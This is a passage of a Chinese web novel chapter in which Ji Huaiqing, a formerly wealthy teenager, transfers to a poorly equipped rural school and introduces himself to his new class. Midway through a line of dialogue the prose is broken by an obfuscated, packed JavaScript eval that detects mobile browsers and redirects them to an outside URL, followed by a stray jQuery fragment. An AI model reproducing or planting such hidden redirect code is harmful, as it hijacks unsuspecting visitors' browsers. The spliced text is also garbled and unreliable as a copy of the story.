11. 七十亿分之一
他们的惩罚结束了。
黎扬在二班,纪徊青在一班,两个班级是对门儿,有时候学生会混在一起上课听讲来调动两个班的学习自主性。
纪徊青没有立马进去,他的注意力被门口的一面墙吸引住了
自上而下排列着上次期末考的年级名次,江闯很好找,几乎全科排列第一,除了一门——语文。
纪徊青顺着朝下看,江闯的语文居然排在了中下游,他忽然笑出声:“这么偏科?”
不过也挺令人嫉妒的,语文差成这样,其他科目必须接近满分才能年级第一,纪徊青的成绩中规中矩不算差也不算好,写作占据了他大多数的时间和精力,且在十六岁他天真的以为自己真的可以写一辈子,几乎半放弃了学习。
上课铃响了,教室忽然窜出一个男人,留了一把络腮胡,看着年轻,但是却白了不少头发,穿着个针织衫,看见纪徊青他眼睛忽然一亮,咧开嘴笑着说:“你就是新来的迟到转校生吧?”
纪徊青嘴角抽动了下,他点了下头。
“哎哟不愧是大城市来的孩子,这个儿这么高啊。”男人凑到跟前,他仰着头看纪徊青,又道:“你家里的情况我在校长那听说了,这一年半你专心攻读,考个好大学,有了工作自然就能缓解家里的压力,知道了吗?”
男人思量了会又道:“有什么需要帮助的一定要给老师说,唉,可怜的孩子。”
一种奇妙的感受忽然在纪徊青心中蔓延,不是滋味。
他从小到大都没有被人可怜过,周围人向他释放的目光永远只有羡艳和崇拜。
这种怜悯的语气和眼神时时刻刻提醒着纪徊青已经坠落了泥土里,他无法理解,只是没了钱,欠了债就一定要背负上这样异样目光吗?
明明他不需要。
纪徊青挺直腰杆,他说:“老师,请你把我当个正常学生对待就行,我也不伤心不难过,还是别给我打标签的好。”
他露出笑,转移开话题:“老师您贵姓啊?”
“姓秦,秦远。”
“好的秦老师。”纪徊青指了指教室门口:“那我现在可以上台和同学们自我介绍了吗?”
秦远罕见的有些慌乱,被纪徊青浑然天成的自信大方吓了一大跳。
一个富家少爷经历破产还下了乡居然也能这么自如吗?
他连忙点头:“我带你进去。”
纪徊青两步走上讲台,台下大概坐了五六排人,显得教室内很拥挤,教学设施很落后,甚至连一台多媒体都没有。
很吵。
这是纪徊青的第一印象。
四五十人和没骨头的猴子一样瘫在桌面上,有的睡觉,有的不知道埋头在忙什么,进来的时候还有一个纸团从第一排飞向最后一排。
教室设施并不完善,没有多媒体,甚至读书角都没有,纪徊青朝窗外望去,连绵青山宛若牢笼将他禁锢在这一方天地。
他忽然谋生了改笔名的想法。
秦远拿起黑板擦在黑板上重重敲击了两下:“都安静!”
粉尘在讲台周围飞扬,纪徊青紧蹙起眉往后退了步。
“菜市场”还是没安静下来,直到门吱嘎响动了声儿,抱着一沓作业的江闯走了进来,他扫了眼浑身粉笔末的纪徊青,那人直愣愣朝他翻了个白眼就别过头去。
如果江闯没听错,纪徊青应该还很小声的骂了他一句。
“撒谎精。”
很有奇效的是江闯一进教室,回到座位上后整个教室都安静了不少。
秦远趁着安静的缝隙,他介绍:“这是咱们班新来的转校生,大家掌声欢迎。”
稀稀拉拉的掌声过后,轮到纪徊青发言。
可纪徊青所有的耐心都已经消耗殆尽,他紧咬着压根,开口:“我叫纪徊青,今年十七,辽宁人。”
“那你怎么没有东北大碴子味儿啊?”台下一道尖锐的声音起哄。
“从小在北京长大。”
“哇!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805456|158476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那你是不是天天都能看见天安门啊?”
纪徊青本来是很不耐烦的,觉得这群人话实在是多,他抬眼朝台下扫了圈,不少人眼眸都亮闪闪的看着他,期待着他的回答。
他这才意识到,原来对于居住在北川的人,去往北京无异于是一场盛大的旅程。
纪徊青像只骄傲的小公鸡,他微扬起头:“嗯,是天天都能看见。”
台下喧哗一片,纪徊青忽然觉得这里的同